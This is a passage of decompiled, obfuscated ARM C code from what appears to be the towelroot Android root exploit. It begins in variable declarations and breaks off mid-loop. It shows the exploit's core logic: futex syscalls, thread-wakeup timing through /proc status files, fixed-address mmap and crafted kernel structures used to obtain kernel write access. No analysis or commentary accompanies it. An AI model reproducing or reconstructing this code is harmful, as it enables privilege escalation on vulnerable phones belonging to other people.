int v16; // r0@39
signed int v17; // r5@46
int v18; // r0@46
_UNKNOWN *v19; // r6@46
int v20; // r4@46
signed int v21; // r8@70
signed int v22; // r9@70
signed int v23; // r10@70
signed int v24; // r0@76
signed int v25; // r1@76
char v26; // zf@81
char *v27; // r0@92
int *v28; // r0@98
int v29; // r1@98
int v30; // r0@98
int v31; // r0@98
int v32; // t1@100
signed int v33; // r0@103
signed int v34; // r1@103
signed int v35; // r0@106
signed int v36; // r1@106
char *v37; // r0@119
signed int v38; // r12@125
int v39; // r0@125
int v40; // r2@125
int v41; // r3@125
int v42; // r1@125
char *v43; // r0@138
int v44; // r0@148
signed int v45; // lr@149
signed int v46; // r12@157
int v47; // r0@157
int v48; // r2@157
int v49; // r3@157
int v50; // r1@157
signed int v51; // r12@158
int v52; // r0@158
int v53; // r2@158
int v54; // r3@158
int v55; // r1@158
int v56; // r0@162
signed int v57; // lr@163
int v58; // r0@167
signed int v59; // lr@168
int v60; // t1@174
int v61; // r0@174
int v62; // r0@175
int *v63; // r3@175
int v64; // r0@175
int v65; // r0@175
int v66; // r0@184
void *v67; // r1@188
signed int v68; // r12@207
int v69; // r0@207
int v70; // r2@207
int v71; // r3@207
int v72; // r1@207
int v73; // r0@211
signed int v74; // lr@212
signed int v75; // r0@230
signed int v76; // r1@230
char v77; // r0@233
char *v78; // r0@248
int v79; // r0@254
void *v80; // r1@254
int v81; // r3@254
int v82; // r0@254
signed int v83; // r0@261
signed int v84; // r1@261
char *v85; // r0@277
signed int v86; // r0@291
signed int v87; // r1@291
int v88; // r0@294
char *v89; // r0@308
int v90; // r0@314
unsigned __int8 v91; // nf@314
unsigned __int8 v92; // vf@314
int *v93; // r12@329
int v94; // r2@329
int v95; // r3@329
int v96; // r1@329
int v97; // r0@329
int v98; // r0@329
signed int v99; // r3@335
signed int v100; // r2@335
signed int v101; // lr@340
signed int v102; // r12@340
signed int v103; // r1@343
signed int v104; // r0@351
signed int v105; // r1@353
signed int v106; // r12@391
int v107; // r0@391
int v108; // r2@391
int v109; // r3@391
int v110; // r1@391
int v111; // r0@395
signed int v112; // lr@396
char v113; // r0@416
signed int v114; // r12@421
int v115; // r0@421
int v116; // r2@421
int v117; // r3@421
int v118; // r1@421
signed int v119; // r2@424
int v120; // r0@424
int v121; // r0@425
signed int v122; // lr@426
signed int v123; // r1@436
signed int v124; // r0@444
int v125; // r2@445
signed int v126; // r1@446
signed int v127; // r0@447
int v128; // r0@452
int *v129; // r3@452
int v130; // r1@452
int v131; // r0@452
int v132; // t1@468
signed int v133; // r0@469
signed int v134; // r1@469
signed int v135; // r1@470
char *v136; // r0@485
char v137; // r0@490
int v139; // [sp+0h] [bp-21B8h]@13
int v140; // [sp+4h] [bp-21B4h]@13
int v141; // [sp+8h] [bp-21B0h]@13
int v142; // [sp+Ch] [bp-21ACh]@335
int v143; // [sp+10h] [bp-21A8h]@13
int v144; // [sp+14h] [bp-21A4h]@76
int v145; // [sp+18h] [bp-21A0h]@76
int v146; // [sp+1Ch] [bp-219Ch]@424
int v147; // [sp+20h] [bp-2198h]@424
int v148; // [sp+24h] [bp-2194h]@424
int v149; // [sp+28h] [bp-2190h]@335
int v150; // [sp+2Ch] [bp-218Ch]@175
int v151; // [sp+30h] [bp-2188h]@125
int v152; // [sp+40h] [bp-2178h]@335
FILE *v153; // [sp+48h] [bp-2170h]@76
int *v154; // [sp+4Ch] [bp-216Ch]@1
const char *v155; // [sp+50h] [bp-2168h]@1
int *v156; // [sp+54h] [bp-2164h]@1
_UNKNOWN *v157; // [sp+58h] [bp-2160h]@1
void ***v158; // [sp+5Ch] [bp-215Ch]@1
int *v159; // [sp+60h] [bp-2158h]@1
int *v160; // [sp+64h] [bp-2154h]@1
_UNKNOWN *v161; // [sp+68h] [bp-2150h]@1
_UNKNOWN *v162; // [sp+6Ch] [bp-214Ch]@1
_UNKNOWN *v163; // [sp+70h] [bp-2148h]@1
_UNKNOWN *v164; // [sp+74h] [bp-2144h]@1
void ***v165; // [sp+78h] [bp-2140h]@1
int *v166; // [sp+7Ch] [bp-213Ch]@1
const char *v167; // [sp+80h] [bp-2138h]@1
int *v168; // [sp+84h] [bp-2134h]@1
_UNKNOWN *v169; // [sp+88h] [bp-2130h]@1
const char *v170; // [sp+8Ch] [bp-212Ch]@1
int *v171; // [sp+90h] [bp-2128h]@1
const char *v172; // [sp+94h] [bp-2124h]@1
_UNKNOWN *v173; // [sp+98h] [bp-2120h]@1
int *v174; // [sp+9Ch] [bp-211Ch]@1
void **v175; // [sp+A0h] [bp-2118h]@1
int *v176; // [sp+A4h] [bp-2114h]@1
_UNKNOWN *v177; // [sp+A8h] [bp-2110h]@1
const char *v178; // [sp+ACh] [bp-210Ch]@1
_UNKNOWN *v179; // [sp+B0h] [bp-2108h]@1
int *v180; // [sp+B4h] [bp-2104h]@1
_UNKNOWN *v181; // [sp+B8h] [bp-2100h]@1
_UNKNOWN *v182; // [sp+BCh] [bp-20FCh]@1
void **v183; // [sp+C0h] [bp-20F8h]@1
_UNKNOWN *v184; // [sp+C4h] [bp-20F4h]@1
_UNKNOWN *v185; // [sp+C8h] [bp-20F0h]@1
const char *v186; // [sp+CCh] [bp-20ECh]@1
int *v187; // [sp+D0h] [bp-20E8h]@1
_UNKNOWN *v188; // [sp+D4h] [bp-20E4h]@1
const char *v189; // [sp+D8h] [bp-20E0h]@1
int *v190; // [sp+DCh] [bp-20DCh]@1
_UNKNOWN *v191; // [sp+E0h] [bp-20D8h]@1
int *v192; // [sp+E4h] [bp-20D4h]@1
_UNKNOWN *v193; // [sp+E8h] [bp-20D0h]@1
_UNKNOWN *v194; // [sp+ECh] [bp-20CCh]@1
const char *v195; // [sp+F0h] [bp-20C8h]@1
int *v196; // [sp+F4h] [bp-20C4h]@1
const char *v197; // [sp+F8h] [bp-20C0h]@1
_UNKNOWN *v198; // [sp+FCh] [bp-20BCh]@1
int *v199; // [sp+100h] [bp-20B8h]@1
const char *v200; // [sp+104h] [bp-20B4h]@1
_UNKNOWN *v201; // [sp+108h] [bp-20B0h]@1
int *v202; // [sp+10Ch] [bp-20ACh]@1
_UNKNOWN *v203; // [sp+110h] [bp-20A8h]@1
_UNKNOWN *v204; // [sp+114h] [bp-20A4h]@1
int *v205; // [sp+118h] [bp-20A0h]@1
const char *v206; // [sp+11Ch] [bp-209Ch]@1
const char *v207; // [sp+120h] [bp-2098h]@1
const char *v208; // [sp+124h] [bp-2094h]@1
_UNKNOWN *v209; // [sp+128h] [bp-2090h]@1
void ***v210; // [sp+12Ch] [bp-208Ch]@1
_UNKNOWN *v211; // [sp+130h] [bp-2088h]@1
_UNKNOWN *v212; // [sp+134h] [bp-2084h]@1
int *v213; // [sp+138h] [bp-2080h]@1
_UNKNOWN *v214; // [sp+13Ch] [bp-207Ch]@1
_UNKNOWN *v215; // [sp+140h] [bp-2078h]@1
const char *v216; // [sp+144h] [bp-2074h]@1
int v217; // [sp+148h] [bp-2070h]@1
void **v218; // [sp+14Ch] [bp-206Ch]@1
int v219; // [sp+150h] [bp-2068h]@1
int v220; // [sp+190h] [bp-2028h]@92
int v221; // [sp+1190h] [bp-1028h]@76
int v222; // [sp+2190h] [bp-28h]@76
int v223; // [sp+2194h] [bp-24h]@80
unsigned int v224; // [sp+2198h] [bp-20h]@1
v0 = &v219;
v1 = -1906617130;
v218 = &swag2;
v2 = -1808228723;
v217 = (int)"towelroot";
v216 = "using MAGIC_ALT\n";
v215 = &MAGIC_ALT;
v214 = &MAGIC;
v213 = &HACKS_final_stack_base;
v212 = &is_thread_awake_lock;
v211 = &is_thread_awake;
v210 = &ph;
v209 = &waiter_thread_tid;
v208 = "/proc/self/task/%d/status";
v207 = "rb";
v224 = 0xFFFFFFBC;
v206 = "voluntary_ctxt_switches";
v205 = &GLOBAL_OFFSET_TABLE_;
v204 = &do_socket_tid_read;
v203 = &did_socket_tid_read;
v202 = &GLOBAL_OFFSET_TABLE_;
v201 = &did_splice_tid_read;
v200 = "voluntary_ctxt_switches";
v199 = &GLOBAL_OFFSET_TABLE_;
v198 = &did_socket_tid_read;
v197 = "voluntary_ctxt_switches";
v196 = &GLOBAL_OFFSET_TABLE_;
v195 = "starting the dangerous things\n";
v194 = &MAGIC;
v193 = &MAGIC;
v192 = &GLOBAL_OFFSET_TABLE_;
v191 = &is_kernel_writing;
v190 = &GLOBAL_OFFSET_TABLE_;
v189 = "%p is a good number\n";
v188 = &do_splice_tid_read;
v187 = &GLOBAL_OFFSET_TABLE_;
v186 = "GOING\n";
v185 = &HACKS_fdm;
v184 = &do_splice_tid_read;
v183 = &swag2;
v182 = &MAGIC;
v181 = &MAGIC;
v180 = &GLOBAL_OFFSET_TABLE_;
v3 = -1947206001;
v179 = &did_splice_tid_read;
v178 = "voluntary_ctxt_switches";
v177 = &do_socket_tid_read;
v176 = &GLOBAL_OFFSET_TABLE_;
v175 = &swag;
v174 = &GLOBAL_OFFSET_TABLE_;
v173 = &did_socket_tid_read;
v172 = "voluntary_ctxt_switches";
v171 = &GLOBAL_OFFSET_TABLE_;
v170 = "voluntary_ctxt_switches";
v4 = -1828017780;
v169 = &do_socket_tid_read;
v168 = &GLOBAL_OFFSET_TABLE_;
v5 = -1808228722;
v167 = "%p is also a good number\n";
v166 = &GLOBAL_OFFSET_TABLE_;
v165 = &ph;
v164 = &MAGIC;
v163 = &MAGIC;
v162 = &MAGIC;
v161 = &do_splice_tid_read;
v160 = &GLOBAL_OFFSET_TABLE_;
v6 = 2141699670;
v159 = &GLOBAL_OFFSET_TABLE_;
v7 = -1716600560;
v158 = &ph;
v8 = 2133560833;
v157 = &MAGIC;
v156 = &GLOBAL_OFFSET_TABLE_;
v155 = "voluntary_ctxt_switches";
v9 = -1906617131;
v154 = &GLOBAL_OFFSET_TABLE_;
v10 = -74850550;
do
{
while ( 1 )
{
while ( v10 <= v9 )
{
if ( v10 == v3 )
{
*(_DWORD *)v0[5] = 0;
*(_DWORD *)v0[6] = 0;
v10 = -1697529350;
}
}
if ( v10 <= -1828017781 )
break;
if ( v10 > v2 )
{
if ( v10 > -1716600561 )
{
if ( v10 > -1699267299 )
{
if ( v10 > 2141699669 )
{
if ( v10 == v6 )
v10 = 588192939;
}
else if ( v10 > 2133560832 )
{
if ( v10 == v8 )
LABEL_373:
v10 = -930232672;
}
else if ( v10 > -1697529351 )
{
if ( v10 > -1691663691 )
{
if ( v10 > -1650856874 )
{
if ( v10 > -1604560888 )
{
if ( v10 > -1318572318 )
{
if ( v10 > -1287756419 )
{
if ( v10 > -1242965122 )
{
if ( v10 > -1196015652 )
{
if ( v10 > -1073565833 )
{
if ( v10 > -956359573 )
{
if ( v10 > -952162116 )
{
if ( v10 > -938317266 )
{
if ( v10 > -930232673 )
{
if ( v10 > -874358362 )
{
if ( v10 > -660755355 )
{
if ( v10 > -546239533 )
{
if ( v10 > -506989468 )
{
if ( v10 > -466607927 )
{
if ( v10 > -380872211 )
{
if ( v10 > -374329840 )
{
if ( v10 > -340826676 )
{
if ( v10 > -289155923 )
{
if ( v10 > -225808800 )
{
if ( v10 > -209519437 )
{
if ( v10 > -119219076 )
{
if ( v10 > -79839948 )
{
if ( v10 > -74850551 )
{
if ( v10 > -58367390 )
{
if ( v10 > 183057155 )
{
if ( v10 > 187926726 )
{
if ( v10 > 226419516 )
{
if ( v10 > 228749051 )
{
if ( v10 > 270675625 )
{
if ( v10 > 311940051 )
{
if ( v10 > 330154358 )
{
if ( v10 > 334902092 )
{
if ( v10 > 377318880 )
{
if ( v10 > 428346903 )
{
if ( v10 > 447444914 )
{
if ( v10 > 451334947 )
{
if ( v10 > 470593181 )
{
if ( v10 > 474124529 )
{
if ( v10 > 483828252 )
{
if ( v10 > 546983124 )
{
if ( v10 > 563778840 )
{
if ( v10 > 583608473 )
{
if ( v10 > 588192938 )
{
if ( v10 > 673782704 )
{
if ( v10 > 778127935 )
{
if ( v10 > 893510834 )
{
if ( v10 > 966273892 )
{
if ( v10 > 1053938998 )
{
if ( v10 > 1076048010 )
{
if ( v10 > 1079106668 )
{
if ( v10 > 1116116142 )
{
if ( v10 > 1192989988 )
{
if ( v10 > 1229291283 )
{
if ( v10 > 1320175321 )
{
if ( v10 > 1353965049 )
{
if ( v10 > 1439384678 )
{
if ( v10 > 1491141972 )
{
if ( v10 > 1564177083 )
{
if ( v10 > 1578154507 )
{
if ( v10 > 1620415425 )
{
if ( v10 > 1626316962 )
{
if ( v10 > 1647471861 )
{
if ( v10 > 1672960384 )
{
if ( v10 > 1691390262 )
{
if ( v10 > 1735321708 )
{
if ( v10 > 1749543034 )
{
if ( v10 > 1775663916 )
{
if ( v10 > 1778990432 )
{
if ( v10 > 1959034632 )
{
if ( v10 > 2000505560 )
{
if ( v10 == 2000505561 )
{
sprintf((char *)&v221, (const char *)v156 - 123706, *(_DWORD *)*(v156 - 18));
v133 = (signed int)fopen((const char *)&v221, (const char *)v156 - 123680);
v134 = 134304844;
v222 = v133;
v153 = (FILE *)v133;
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( v134 <= 134304843 )
{
v26 = v134 == -1510328164;
v134 = 665893174;
if ( !v26 )
goto LABEL_510;
}
if ( v134 <= 1550213080 )
break;
v133 = -1;
v26 = v134 == 1550213081;
v134 = -1510328164;
if ( !v26 )
goto LABEL_510;
}
if ( v134 <= 1297895565 )
break;
if ( v134 != 1297895566 )
goto LABEL_510;
fread(&v220, 1u, 0x1000u, v153);
v136 = strstr((const char *)&v220, v155);
v133 = atoi(v136 + 25);
v134 = -1510328164;
}
if ( v134 != 134304844 )
break;
v134 = 1297895566;
if ( !v222 )
v134 = 1550213081;
}
if ( v134 != 665893174 )
break;
v134 = 200673134;
v223 = v133;
}
if ( v134 != 200673134 )
{
while ( 1 )
LABEL_510:
;
}
v137 = 0;
if ( v223 != *(_DWORD *)v0[2] + 1 )
v137 = 1;
*((_BYTE *)v0 + 62) = v137;
v10 = v7;
LABEL_493:
v5 = -1808228722;
v8 = 2133560833;
v6 = 2141699670;
}
else
{
if ( v10 == 2105591950 )
{
_android_log_print(4, (char *)v154 - 123957, (const char *)v154 - 123713);
v132 = v0[14];
*(_DWORD *)v0[1] = write(*(_DWORD *)*(v154 - 13), v0[14], 4096);
v10 = -225808799;
goto LABEL_493;
}
LOWORD(v135) = -24946;
if ( v10 == 2106737173 )
v10 = v3;
HIWORD(v135) = -27592;
v5 = v135;
v8 = 2133560833;
v6 = 2141699670;
}
}
else
{
v5 = -1808228722;
v8 = 2133560833;
v6 = 2141699670;
if ( v10 == 1959034633 )
goto LABEL_465;
}
}
else
{
v5 = -1808228722;
v8 = 2133560833;
v6 = 2141699670;
if ( v10 == 1778990433 )
{
*(_DWORD *)v0[5] = 0;
*(_DWORD *)v0[6] = 0;
v10 = v3;
}
}
}
else
{
v5 = -1808228722;
v8 = 2133560833;
v6 = 2141699670;
if ( v10 == 1775663917 )
goto LABEL_455;
}
}
else
{
v5 = -1808228722;
v8 = 2133560833;
v6 = 2141699670;
if ( v10 == 1749543035 )
{
usleep(10);
v5 = -1808228722;
v6 = 2141699670;
v8 = 2133560833;
v9 = -1906617131;
goto LABEL_433;
}
}
}
else
{
v5 = -1808228722;
v8 = 2133560833;
v6 = 2141699670;
if ( v10 == 1735321709 )
{
v147 = *(_DWORD *)v0[8];
v146 = (int)(*v158)[3];
v151 = *(_DWORD *)v0[10];
v150 = v0[10];
v141 = -1;
v142 = 0;
v149 = ((v151 - 4096) ^ 0xFFF) & (v151 - 4096);
v223 = mmap(v149, 0x2000, 7, 49);
v0[16] = v149;
v148 = v151 - 32;
v147 = -(-v147 - v146);
v146 = v151 + 4;
v145 = v151 - 24;
v144 = v151 + 8;
v119 = -1194940496;
v120 = v151 - 32;
v143 = v151 - 32;
while ( 1 )
{
while ( 1 )
{
v123 = v119;
if ( v119 <= 1836687301 )
break;
if ( v119 != 1836687302 )
goto LABEL_442;
v124 = 1688761628;
LABEL_446:
v126 = v124;
while ( 1 )
{
v127 = v126;
if ( v126 == 812142990 )
break;
v126 = -480229266;
if ( v127 != 1688761628 )
{
if ( v127 != -480229266 )
{
while ( 1 )
;
}
v125 = v148;
*(_DWORD *)(v148 - 4) = 129;
*(_DWORD *)v125 = v151;
*(_DWORD *)(v125 + 8) = v144;
*(_DWORD *)(v125 + 28) = 133;
*(_DWORD *)(v125 + 36) = v143;
*(_DWORD *)(v125 + 44) = v145;
v124 = 812142990;
goto LABEL_446;
}
}
*(_DWORD *)v146 = v147;
**(_DWORD **)v157 = v151;
sub_7690(10);
*(_DWORD *)v150 = *(_DWORD *)v146;
munmap(v149, 0x2000);
v120 = 0;
v119 = -1520439446;
}
v119 = 1836687302;
if ( v123 != -2135173377 )
{
if ( v123 == -1194940496 )
{
v119 = -2135173377;
if ( v223 != v0[16] )
v119 = -1293612658;
}
else if ( v123 == -1293612658 )
{
v120 = -1;
v119 = -1727152528;
}
else
{
LABEL_442:
v119 = -1727152528;
if ( v123 != -1520439446 )
{
if ( v123 != -1727152528 )
{
while ( 1 )
;
}
v26 = v120 == 0;
v10 = 187926727;
if ( !v26 )
v10 = 1192989989;
goto LABEL_493;
}
}
}
}
}
}
}
else
{
v5 = -1808228722;
v8 = 2133560833;
v6 = 2141699670;
if ( v10 == 1691390263 )
{
v151 = *(v160 - 15);
*(_DWORD *)v151 = malloc(4u);
pthread_mutex_init();
v114 = 1688761628;
v115 = *(_DWORD *)*(v160 - 28);
v116 = v115 + 40;
v117 = v115 + 32;
v151 = v115 + 8;
v118 = v115;
while ( 1 )
{
v122 = v114;
if ( v114 == 812142990 )
break;
v114 = -480229266;
if ( v122 != 1688761628 )
{
if ( v122 != -480229266 )
{
while ( 1 )
;
}
*(_DWORD *)(v118 - 4) = 129;
*(_DWORD *)v118 = v117;
*(_DWORD *)(v118 + 8) = v116;
*(_DWORD *)(v118 + 28) = 133;
v121 = v151;
*(_DWORD *)(v118 + 36) = v118;
*(_DWORD *)(v118 + 44) = v121;
v114 = 812142990;
}
}
v128 = sub_7690(11);
v129 = v159;
*(_DWORD *)v0[7] = v128;
*(_DWORD *)v0[8] = **(_DWORD **)*(v129 - 28) & 0xFFFFE000;
_android_log_print(4, (char *)v159 - 123957, (const char *)v159 - 123760, *(_DWORD *)v0[8], v143, v144, v145);
v130 = *(v159 - 17);
*(_DWORD *)*(v159 - 14) = 0;
*(_DWORD *)v130 = 0;
v131 = *(_DWORD *)v0[7];
v151 = *(v159 - 21);
v150 = v131;
pthread_mutex_lock(v151);
kill(v150, 12);
pthread_cond_wait(*(v159 - 20), v151);
pthread_mutex_unlock(v151);
v10 = 893510835;
goto LABEL_493;
}
}
}
else
{
v5 = -1808228722;
v8 = 2133560833;
v6 = 2141699670;
if ( v10 == 1672960385 )
{
v113 = 0;
if ( !*(_DWORD *)v161 )
v113 = 1;
*((_BYTE *)v0 + 63) = v113;
v10 = 311940052;
}
}
}
else
{
v5 = -1808228722;
v8 = 2133560833;
v6 = 2141699670;
if ( v10 == 1647471862 )
{
v10 = 1439384679;
if ( *(_DWORD *)v0[12] != 9 )
v10 = -1287756418;
}
}
}
else
{
v5 = -1808228722;
v8 = 2133560833;
v6 = 2141699670;
if ( v10 == 1626316963 )
goto LABEL_408;
}
}
else
{
v5 = -1808228722;
v8 = 2133560833;
v6 = 2141699670;
if ( v10 == 1620415426 )
goto LABEL_402;
}
}
else
{
v5 = -1808228722;
v8 = 2133560833;
v6 = 2141699670;
if ( v10 == 1578154508 )
v10 = 2000505561;
}
}
else
{
v5 = -1808228722;
v8 = 2133560833;
v6 = 2141699670;
if ( v10 == 1564177084 )
{
v106 = 1688761628;
v107 = *(_DWORD *)v163;
v108 = *(_DWORD *)v163 + 32;
v109 = *(_DWORD *)v163 + 40;
v151 = *(_DWORD *)v163 + 8;
v110 = v107;
while ( 1 )
{
v112 = v106;
if ( v106 == 812142990 )
break;
v106 = -480229266;
if ( v112 != 1688761628 )
{
if ( v112 != -480229266 )
{
while ( 1 )
;
}
*(_DWORD *)(v110 - 4) = 129;
*(_DWORD *)v110 = v108;
*(_DWORD *)(v110 + 8) = v109;
*(_DWORD *)(v110 + 28) = 133;
v111 = v151;
*(_DWORD *)(v110 + 36) = v110;
*(_DWORD *)(v110 + 44) = v111;
v106 = 812142990;
}
}
*(_DWORD *)v0[5] = sub_7690(10);
*(_DWORD *)v0[13] = **(_DWORD **)v162;
v10 = 1076048011;
if ( *(_DWORD *)v0[13] < *(_DWORD *)v0[11] )
v10 = 1353965050;
goto LABEL_493;
}
}
}
else
{
v5 = -1808228722;
v8 = 2133560833;
v6 = 2141699670;
if ( v10 == 1491141973 )
v10 = -660755354;
}
}
else
{
v5 = -1808228722;
v8 = 2133560833;
v6 = 2141699670;
if ( v10 == 1439384679 )
LABEL_455:
v10 = -58367389;
}
}
else
{
v5 = -1808228722;
v8 = 2133560833;
v6 = 2141699670;
if ( v10 == 1353965050 )
v10 = 1647471862;
}
}
else
{
v5 = -1808228722;
v8 = 2133560833;
v6 = 2141699670;
if ( v10 == 1320175322 )
LABEL_379:
v10 = -1699267298;
}
}
else
{
v5 = -1808228722;
v8 = 2133560833;
v6 = 2141699670;
if ( v10 == 1229291284 )
v10 = 1320175322;
}
}
else
{
v5 = -1808228722;
v8 = 2133560833;
v6 = 2141699670;
if ( v10 == 1192989989 )
goto LABEL_373;
}
}
else
{
v5 = -1808228722;
v8 = 2133560833;
v6 = 2141699670;
if ( v10 == 1116116143 )
LABEL_465:
v10 = 226419517;
}
}
else
{
v5 = -1808228722;
v8 = 2133560833;
v6 = 2141699670;
if ( v10 == 1079106669 )
v10 = -225808799;
}
}
else
{
v5 = -1808228722;
v8 = 2133560833;
v6 = 2141699670;
if ( v10 == 1076048011 )
{
++*(_DWORD *)v0[12];
LABEL_360:
v10 = 583608474;
}
}
}
else
{
v5 = -1808228722;
v8 = 2133560833;
v6 = 2141699670;
if ( v10 == 1053938999 )
LABEL_338:
v10 = 1578154508;
}
}
else
{
v5 = -1808228722;
v8 = 2133560833;
v6 = 2141699670;
if ( v10 == 966273893 )
{
v150 = *(_DWORD *)v0[8];
v149 = (int)(*v165)[3];
v151 = v0[10];
v141 = -1;
v142 = 0;
v223 = mmap(12513280, 0x2000, 7, 49);
v0[16] = 12513280;
v100 = -1194940496;
v152 = v150 + v149 + 1;
LABEL_340:
while ( 2 )
{
v101 = v99;
v102 = v100;
while ( 1 )
{
v103 = v102;
if ( v102 > 1836687301 )
break;
v102 = 1836687302;
v100 = -1727152528;
v99 = -1;
if ( v103 != -2135173377 )
{
if ( v103 == -1194940496 )
{
v102 = -2135173377;
if ( v223 != v0[16] )
v102 = -1293612658;
}
else
{
if ( v103 == -1293612658 )
goto LABEL_340;
LABEL_349:
v102 = -1727152528;
if ( v103 != -1520439446 )
{
if ( v103 != -1727152528 )
{
while ( 1 )
;
}
v10 = -1242965121;
if ( v101 )
v10 = 1116116143;
goto LABEL_493;
}
}
}
}
if ( v102 == 1836687302 )
{
v104 = 1688761628;
while ( 1 )
{
v105 = v104;
if ( v104 == 812142990 )
break;
v104 = -480229266;
if ( v105 != 1688761628 )
{
if ( v105 != -480229266 )
{
while ( 1 )
;
}
vBEFFDC = 129;
vBEFFE0 = 12517376;
vBEFFE8 = 12517384;
vBEFFFC = 133;
vBF0004 = 12517344;
vBF000C = 12517352;
v104 = 812142990;
}
}
vBF0004 = v152;
**(_DWORD **)v164 = 12517376;
sub_7690(10);
*(_DWORD *)v151 = vBF0004;
munmap(12513280, 0x2000);
v100 = -1520439446;
v99 = 0;
continue;
}
goto LABEL_349;
}
}
}
}
else
{
v5 = -1808228722;
v8 = 2133560833;
v6 = 2141699670;
if ( v10 == 893510835 )
LABEL_332:
v10 = -956359572;
}
}
else
{
v5 = -1808228722;
v8 = 2133560833;
v6 = 2141699670;
if ( v10 == 778127936 )
{
sub_7690(6);
sub_7690(7);
v93 = (int *)*(v166 - 24);
v94 = *(v166 - 23);
v95 = *(v166 - 16);
*(_DWORD *)*v93 = 0;
*(_DWORD *)v94 = 0;
*(_DWORD *)v95 = 0;
v96 = *v93;
v97 = *(_DWORD *)*v93;
v139 = 0;
v140 = v96;
v141 = v97;
v98 = syscall(240, v96, 12, 1);
v6 = 2141699670;
v8 = 2133560833;
v5 = -1808228722;
*(_DWORD *)v0[1] = v98;
v10 = 470593182;
}
}
}
else
{
v5 = -1808228722;
v8 = 2133560833;
v6 = 2141699670;
if ( v10 == 673782705 )
{
usleep(10);
v5 = -1808228722;
v6 = 2141699670;
v8 = 2133560833;
v9 = -1906617131;
goto LABEL_338;
}
}
}
else
{
v5 = -1808228722;
v8 = 2133560833;
v6 = 2141699670;
if ( v10 == 588192939 )
{
*(_DWORD *)v0[11] = *(_DWORD *)v0[10];
_android_log_print(4, (char *)v168 - 123957, v167, *(_DWORD *)v0[11], v143, v144, v145);
v6 = 2141699670;
v8 = 2133560833;
v5 = -1808228722;
*(_DWORD *)v0[12] = 0;
*(_DWORD *)v0[13] = -1;
goto LABEL_360;
}
}
}
else
{
v5 = -1808228722;
v8 = 2133560833;
v6 = 2141699670;
if ( v10 == 583608474 )
{
v90 = *(_DWORD *)v0[12];
v92 = __OFSUB__(v90, 9);
v91 = v90 - 9 < 0;
v10 = 1647471862;
if ( v91 ^ v92 )
v10 = 1564177084;
}
}
}
else
{
v5 = -1808228722;
v8 = 2133560833;
v6 = 2141699670;
if ( v10 == 563778841 )
{
v88 = *(_DWORD *)v169;
goto LABEL_295;
}
}
}
else
{
v5 = -1808228722;
v8 = 2133560833;
v6 = 2141699670;
if ( v10 == 546983125 )
{
sprintf((char *)&v221, (const char *)v171 - 123706, *(_DWORD *)v0[7], -1808228722, v143, v144, v145);
v86 = (signed int)fopen((const char *)&v221, (const char *)v171 - 123680);
v87 = 134304844;
v222 = v86;
v153 = (FILE *)v86;
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( v87 <= 134304843 )
{
v26 = v87 == -1510328164;
v87 = 665893174;
if ( !v26 )
goto LABEL_503;
}
if ( v87 <= 1550213080 )
break;
v86 = -1;
v26 = v87 == 1550213081;
v87 = -1510328164;
if ( !v26 )
goto LABEL_503;
}
if ( v87 <= 1297895565 )
break;
if ( v87 != 1297895566 )
goto LABEL_503;
fread(&v220, 1u, 0x1000u, v153);
v89 = strstr((const char *)&v220, v170);
v86 = atoi(v89 + 25);
v87 = -1510328164;
}
if ( v87 != 134304844 )
break;
v87 = 1297895566;
if ( !v222 )
v87 = 1550213081;
}
if ( v87 != 665893174 )
break;
v87 = 200673134;
v223 = v86;
}
if ( v87 != 200673134 )
{
while ( 1 )
LABEL_503:
;
}
v10 = -1196015651;
if ( v223 != *(_DWORD *)v0[9] + 1 )
v10 = 1749543035;
goto LABEL_493;
}
}
}
else
{
v5 = -1808228722;
v8 = 2133560833;
v6 = 2141699670;
if ( v10 == 483828253 )
goto LABEL_288;
}
}
else
{
v5 = -1808228722;
v8 = 2133560833;
v6 = 2141699670;
if ( v10 == 474124530 )
LABEL_295:
v10 = 428346904;
}
}
else
{
v5 = -1808228722;
v8 = 2133560833;
v6 = 2141699670;
if ( v10 == 470593182 )
goto LABEL_264;
}
}
else
{
v5 = -1808228722;
v8 = 2133560833;
v6 = 2141699670;
if ( v10 == 451334948 )
{
sprintf(
(char *)&v221,
(const char *)v174
- 123706,
*(_DWORD *)*(v174 - 18),
-1808228722,
v143,
v144,
v145);
v83 = (signed int)fopen((const char *)&v221, (const char *)v174 - 123680);
v84 = 134304844;
v222 = v83;
v153 = (FILE *)v83;
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( v84 <= 134304843 )
{
v26 = v84 == -1510328164;
v84 = 665893174;
if ( !v26 )
goto LABEL_502;
}
if ( v84 <= 1550213080 )
break;
v83 = -1;
v26 = v84 == 1550213081;
v84 = -1510328164;
if ( !v26 )
goto LABEL_502;
}
if ( v84 <= 1297895565 )
break;
if ( v84 != 1297895566 )
goto LABEL_502;
fread(&v220, 1u, 0x1000u, v153);
v85 = strstr((const char *)&v220, v172);
v83 = atoi(v85 + 25);
v84 = -1510328164;
}
if ( v84 != 134304844 )
break;
v84 = 1297895566;
if ( !v222 )
v84 = 1550213081;
}
if ( v84 != 665893174 )
break;
v84 = 200673134;
v223 = v83;
}
if ( v84 != 200673134 )
{
while ( 1 )
LABEL_502:
;
}
*(_DWORD *)v0[2] = v223;
*(_DWORD *)v173 = 1;
v10 = -466607926;
goto LABEL_493;
}
}
}
else
{
v5 = -1808228722;
v8 = 2133560833;
v6 = 2141699670;
if ( v10 == 447444915 )
{
v79 = *(_DWORD *)*(v176 - 24);
v80 = *v175;
v81 = *(_DWORD *)*v175;
v139 = 0;
v140 = v79;
v141 = v81;
v82 = syscall(240, v80, 12, 1);
v6 = 2141699670;
v8 = 2133560833;
v5 = -1808228722;
v26 = v82 == 1;
v10 = 270675626;
if ( !v26 )
v10 = -374329839;
}
}
}
else
{
v5 = -1808228722;
v8 = 2133560833;
v6 = 2141699670;
if ( v10 == 428346904 )
{
v77 = 0;
if ( !*(_DWORD *)v177 )
v77 = 1;
*((_BYTE *)v0 + 61) = v77;
v10 = -1073565832;
}
}
}
else
{
v5 = -1808228722;
v8 = 2133560833;
v6 = 2141699670;
if ( v10 == 377318881 )
{
sprintf(
(char *)&v221,
(const char *)v180
+ 0xFFFE1CC6,
*(_DWORD *)v0[7],
-1808228722,
v143,
v144,
v145);
v75 = (signed int)fopen((const char *)&v221, (const char *)v180 + 0xFFFE1CE0);
v76 = 134304844;
v222 = v75;
v153 = (FILE *)v75;
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( v76 <= 134304843 )
{
